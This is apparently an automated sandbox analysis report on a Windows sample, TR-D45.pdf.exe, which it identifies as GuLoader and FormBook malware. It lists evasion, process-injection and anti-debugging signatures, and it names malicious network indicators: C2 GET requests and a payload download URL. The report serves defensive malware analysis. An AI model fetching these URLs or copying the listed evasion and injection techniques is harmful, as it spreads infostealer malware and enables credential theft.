Analysis Report TR-D45.pdf.exe

Overview

General Information

Sample Name: TR-D45.pdf.exe
Analysis ID: 321007
MD5: 937841064411662c36469498ea645660
SHA1: 7e72225620b06b6d9f5d54ee45ca2dd7ba10e87e
SHA256: 3b162f2943b2ee8d6075b2f8f4cbd7832e11b50ecdfcb4a68cf18eb1c7614651
Tags: exeGuLoader

Most interesting Screenshot:

Detection

FormBook GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Suspicious Double Extension
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
Yara detected Generic Dropper
Yara detected GuLoader
Contains functionality to detect hardware virtualization (CPUID execution measurement)
Contains functionality to hide a thread from the debugger
Detected RDTSC dummy instruction sequence (likely for instruction hammering)
Hides threads from debuggers
Initial sample is a PE file and has a suspicious name
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Uses an obfuscated file name to hide its real file extension (double extension)
Yara detected VB6 Downloader Generic
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: TR-D45.pdf.exe Virustotal: Detection: 29% Perma Link
Source: TR-D45.pdf.exe ReversingLabs: Detection: 14%
Yara detected FormBook
Source: Yara match File source: 0000000C.00000002.495604488.00000000028E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.495505278.00000000028B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.314014280.00000000000A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.319831190.000000001E010000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.495031806.0000000002440000.00000040.00000001.sdmp, type: MEMORY

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 4x nop then pop ebx 1_2_000A7AFD
Source: C:\Windows\SysWOW64\control.exe Code function: 4x nop then pop ebx 12_2_02447AFD
Source: C:\Windows\SysWOW64\control.exe Code function: 4x nop then pop edi 12_2_02456BD4

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 1201 ATTACK-RESPONSES 403 Forbidden 34.102.136.180:80 -> 192.168.2.5:49743
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /gnu/?bly=TVIpcz004Rkd&X2MxIjJP=i4YBL42YhvK+usDHzss6Tj24XYATFEIvS7y0nzG29ZgEeNh3uLyKqQDd2VWk30ZHQtTi HTTP/1.1Host: www.gcvinternational.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /gnu/?X2MxIjJP=cm/vZIiV3Os0q9m3wV9NAYnR84EpEK2W/qhCxJKWCVek11jnJ1A4MINfB4PiPj5CXghE&bly=TVIpcz004Rkd HTTP/1.1Host: www.celebrations.sucksConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 34.102.136.180 34.102.136.180
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-AESUS AMAZON-AESUS
Source: Joe Sandbox View ASN Name: GOOGLEUS GOOGLEUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: global traffic HTTP traffic detected: GET /gnu/?bly=TVIpcz004Rkd&X2MxIjJP=i4YBL42YhvK+usDHzss6Tj24XYATFEIvS7y0nzG29ZgEeNh3uLyKqQDd2VWk30ZHQtTi HTTP/1.1Host: www.gcvinternational.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /gnu/?X2MxIjJP=cm/vZIiV3Os0q9m3wV9NAYnR84EpEK2W/qhCxJKWCVek11jnJ1A4MINfB4PiPj5CXghE&bly=TVIpcz004Rkd HTTP/1.1Host: www.celebrations.sucksConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: unknown DNS traffic detected: queries for: pilatescollective.com
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.G
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp String found in binary or memory: http://cert.int-x3.letsencrypt.org/0
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp String found in binary or memory: http://cps.letsencrypt.org0
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://fontfabrik.com
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp String found in binary or memory: http://isrg.trustid.ocsp.identrust.com0;
Source: TR-D45.pdf.exe, 00000001.00000003.270393994.00000000008C5000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.int-x3.letsencrypt.org0/
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: control.exe, 0000000C.00000002.497562201.0000000004E2F000.00000004.00000001.sdmp String found in binary or memory: http://www.celebrations.sucks/gnu?X2MxIjJP=cm/vZIiV3Os0q9m3wV9NAYnR84EpEK2W/qhCxJKWCVek11jnJ1A4MINfB
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000005.00000000.299623008.000000000BC36000.00000002.00000001.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: TR-D45.pdf.exe, 00000001.00000002.314208350.0000000000887000.00000004.00000020.sdmp String found in binary or memory: https://pilatescollective.com/
Source: TR-D45.pdf.exe, 00000001.00000002.314208350.0000000000887000.00000004.00000020.sdmp String found in binary or memory: https://pilatescollective.com/D4
Source: TR-D45.pdf.exe String found in binary or memory: https://pilatescollective.com/myguy/Edog_WaRWObtLyf156.bin
Source: TR-D45.pdf.exe, 00000001.00000003.270384590.00000000008C0000.00000004.00000001.sdmp String found in binary or memory: https://pilatescollective.com/myguy/Edog_WaRWObtLyf156.bin/
Source: TR-D45.pdf.exe, 00000001.00000003.270384590.00000000008C0000.00000004.00000001.sdmp String found in binary or memory: https://pilatescollective.com/myguy/Edog_WaRWObtLyf156.bin7
Source: TR-D45.pdf.exe, 00000001.00000002.314208350.0000000000887000.00000004.00000020.sdmp String found in binary or memory: https://pilatescollective.com/myguy/Edog_WaRWObtLyf156.bin=WyM
Source: TR-D45.pdf.exe, 00000001.00000002.314208350.0000000000887000.00000004.00000020.sdmp String found in binary or memory: https://pilatescollective.com/myguy/Edog_WaRWObtLyf156.binl
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown Network traffic detected: HTTP traffic on port 49718 -> 443

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 0000000C.00000002.495604488.00000000028E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.495505278.00000000028B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.314014280.00000000000A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.319831190.000000001E010000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.495031806.0000000002440000.00000040.00000001.sdmp, type: MEMORY

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 0000000C.00000002.495604488.00000000028E0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000C.00000002.495604488.00000000028E0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.495347185.00000000026CA000.00000004.00000020.sdmp, type: MEMORY Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 0000000C.00000002.495505278.00000000028B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000C.00000002.495505278.00000000028B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.314014280.00000000000A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.314014280.00000000000A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.497491783.000000000493F000.00000004.00000001.sdmp, type: MEMORY Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 00000001.00000002.319831190.000000001E010000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.319831190.000000001E010000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.495031806.0000000002440000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000C.00000002.495031806.0000000002440000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: TR-D45.pdf.exe
Contains functionality to call native functions
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399264 NtProtectVirtualMemory, 0_2_02399264
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239071B EnumWindows,NtSetInformationThread, 0_2_0239071B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239877D NtSetInformationThread, 0_2_0239877D
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399799 NtResumeThread, 0_2_02399799
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02390A92 NtSetInformationThread,TerminateProcess, 0_2_02390A92
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023989D5 NtSetInformationThread,LoadLibraryA, 0_2_023989D5
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393721 NtWriteVirtualMemory, 0_2_02393721
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239371B NtWriteVirtualMemory, 0_2_0239371B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393787 NtWriteVirtualMemory, 0_2_02393787
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023907E7 NtSetInformationThread, 0_2_023907E7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023937DC NtWriteVirtualMemory, 0_2_023937DC
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023917D1 NtSetInformationThread, 0_2_023917D1
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023937D3 NtWriteVirtualMemory, 0_2_023937D3
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023997D7 NtResumeThread, 0_2_023997D7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02398486 NtSetInformationThread, 0_2_02398486
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023915D6 NtSetInformationThread, 0_2_023915D6
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393A2B NtWriteVirtualMemory, 0_2_02393A2B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399A23 NtResumeThread, 0_2_02399A23
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393A7F NtWriteVirtualMemory, 0_2_02393A7F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399A57 NtResumeThread, 0_2_02399A57
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02391AAA NtSetInformationThread, 0_2_02391AAA
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399A87 NtResumeThread, 0_2_02399A87
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393AE3 NtWriteVirtualMemory, 0_2_02393AE3
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399B17 NtResumeThread, 0_2_02399B17
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399B53 NtResumeThread, 0_2_02399B53
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393B43 NtWriteVirtualMemory, 0_2_02393B43
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02397BBE NtSetInformationThread, 0_2_02397BBE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393B97 NtWriteVirtualMemory, 0_2_02393B97
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399B8F NtResumeThread, 0_2_02399B8F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393BDE NtWriteVirtualMemory, 0_2_02393BDE
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399BD7 NtResumeThread, 0_2_02399BD7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399837 NtResumeThread, 0_2_02399837
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393823 NtWriteVirtualMemory, 0_2_02393823
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399807 NtResumeThread, 0_2_02399807
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239387B NtWriteVirtualMemory, 0_2_0239387B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239087B NtSetInformationThread, 0_2_0239087B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239989F NtResumeThread, 0_2_0239989F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023998F7 NtResumeThread, 0_2_023998F7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023998CB NtResumeThread, 0_2_023998CB
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023908C7 NtSetInformationThread, 0_2_023908C7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399933 NtResumeThread, 0_2_02399933
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239092B NtSetInformationThread, 0_2_0239092B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_0239397F NtWriteVirtualMemory, 0_2_0239397F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023999BB NtResumeThread, 0_2_023999BB
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393985 NtWriteVirtualMemory, 0_2_02393985
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023999F7 NtResumeThread, 0_2_023999F7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023919D3 NtSetInformationThread, 0_2_023919D3
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_023939D7 NtWriteVirtualMemory, 0_2_023939D7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399E07 NtResumeThread, 0_2_02399E07
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02391E85 NtSetInformationThread, 0_2_02391E85
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02392F0A NtSetInformationThread, 0_2_02392F0A
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02397FCC NtSetInformationThread, 0_2_02397FCC
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399C1F NtResumeThread, 0_2_02399C1F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399C57 NtResumeThread, 0_2_02399C57
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393C43 NtWriteVirtualMemory, 0_2_02393C43
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399CB7 NtResumeThread, 0_2_02399CB7
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393CC3 NtWriteVirtualMemory, 0_2_02393CC3
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393D1F NtWriteVirtualMemory, 0_2_02393D1F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399D1F NtResumeThread, 0_2_02399D1F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399D5F NtResumeThread, 0_2_02399D5F
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393D8B NtWriteVirtualMemory, 0_2_02393D8B
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02399DD3 NtResumeThread, 0_2_02399DD3
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 0_2_02393DCB NtWriteVirtualMemory, 0_2_02393DCB
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9660 NtAllocateVirtualMemory,LdrInitializeThunk, 1_2_1E2A9660
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A96E0 NtFreeVirtualMemory,LdrInitializeThunk, 1_2_1E2A96E0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9710 NtQueryInformationToken,LdrInitializeThunk, 1_2_1E2A9710
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A97A0 NtUnmapViewOfSection,LdrInitializeThunk, 1_2_1E2A97A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9780 NtMapViewOfSection,LdrInitializeThunk, 1_2_1E2A9780
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9540 NtReadFile,LdrInitializeThunk, 1_2_1E2A9540
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A95D0 NtClose,LdrInitializeThunk, 1_2_1E2A95D0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9A20 NtResumeThread,LdrInitializeThunk, 1_2_1E2A9A20
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9A00 NtProtectVirtualMemory,LdrInitializeThunk, 1_2_1E2A9A00
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9A50 NtCreateFile,LdrInitializeThunk, 1_2_1E2A9A50
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9860 NtQuerySystemInformation,LdrInitializeThunk, 1_2_1E2A9860
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9840 NtDelayExecution,LdrInitializeThunk, 1_2_1E2A9840
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A98F0 NtReadVirtualMemory,LdrInitializeThunk, 1_2_1E2A98F0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9910 NtAdjustPrivilegesToken,LdrInitializeThunk, 1_2_1E2A9910
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A99A0 NtCreateSection,LdrInitializeThunk, 1_2_1E2A99A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9610 NtEnumerateValueKey, 1_2_1E2A9610
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9670 NtQueryInformationProcess, 1_2_1E2A9670
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9650 NtQueryValueKey, 1_2_1E2A9650
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A96D0 NtCreateKey, 1_2_1E2A96D0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9730 NtQueryVirtualMemory, 1_2_1E2A9730
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2AA710 NtOpenProcessToken, 1_2_1E2AA710
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9760 NtOpenProcess, 1_2_1E2A9760
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2AA770 NtOpenThread, 1_2_1E2AA770
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9770 NtSetInformationFile, 1_2_1E2A9770
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9FE0 NtCreateMutant, 1_2_1E2A9FE0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9520 NtWaitForSingleObject, 1_2_1E2A9520
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2AAD30 NtSetContextThread, 1_2_1E2AAD30
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9560 NtWriteFile, 1_2_1E2A9560
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A95F0 NtQueryInformationFile, 1_2_1E2A95F0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9A10 NtQuerySection, 1_2_1E2A9A10
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9A80 NtOpenDirectoryObject, 1_2_1E2A9A80
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9B00 NtSetValueKey, 1_2_1E2A9B00
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2AA3B0 NtGetContextThread, 1_2_1E2AA3B0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9820 NtEnumerateKey, 1_2_1E2A9820
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2AB040 NtSuspendThread, 1_2_1E2AB040
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A98A0 NtWriteVirtualMemory, 1_2_1E2A98A0
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A9950 NtQueueApcThread, 1_2_1E2A9950
Source: C:\Users\user\Desktop\TR-D45.pdf.exe Code function: 1_2_1E2A99D0 NtCreateProcessEx, 1_2_1E2A99D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479840 NtDelayExecution,LdrInitializeThunk, 12_2_04479840
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479860 NtQuerySystemInformation,LdrInitializeThunk, 12_2_04479860
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479540 NtReadFile,LdrInitializeThunk, 12_2_04479540
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479910 NtAdjustPrivilegesToken,LdrInitializeThunk, 12_2_04479910
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044795D0 NtClose,LdrInitializeThunk, 12_2_044795D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044799A0 NtCreateSection,LdrInitializeThunk, 12_2_044799A0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479A50 NtCreateFile,LdrInitializeThunk, 12_2_04479A50
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479650 NtQueryValueKey,LdrInitializeThunk, 12_2_04479650
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479660 NtAllocateVirtualMemory,LdrInitializeThunk, 12_2_04479660
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044796D0 NtCreateKey,LdrInitializeThunk, 12_2_044796D0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044796E0 NtFreeVirtualMemory,LdrInitializeThunk, 12_2_044796E0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479710 NtQueryInformationToken,LdrInitializeThunk, 12_2_04479710
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479FE0 NtCreateMutant,LdrInitializeThunk, 12_2_04479FE0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479780 NtMapViewOfSection,LdrInitializeThunk, 12_2_04479780
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_0447B040 NtSuspendThread, 12_2_0447B040
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_04479820 NtEnumerateKey, 12_2_04479820
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044798F0 NtReadVirtualMemory, 12_2_044798F0
Source: C:\Windows\SysWOW64\control.exe Code function: 12_2_044798A0 NtWriteVirtualMemory, 12_2_044798A0
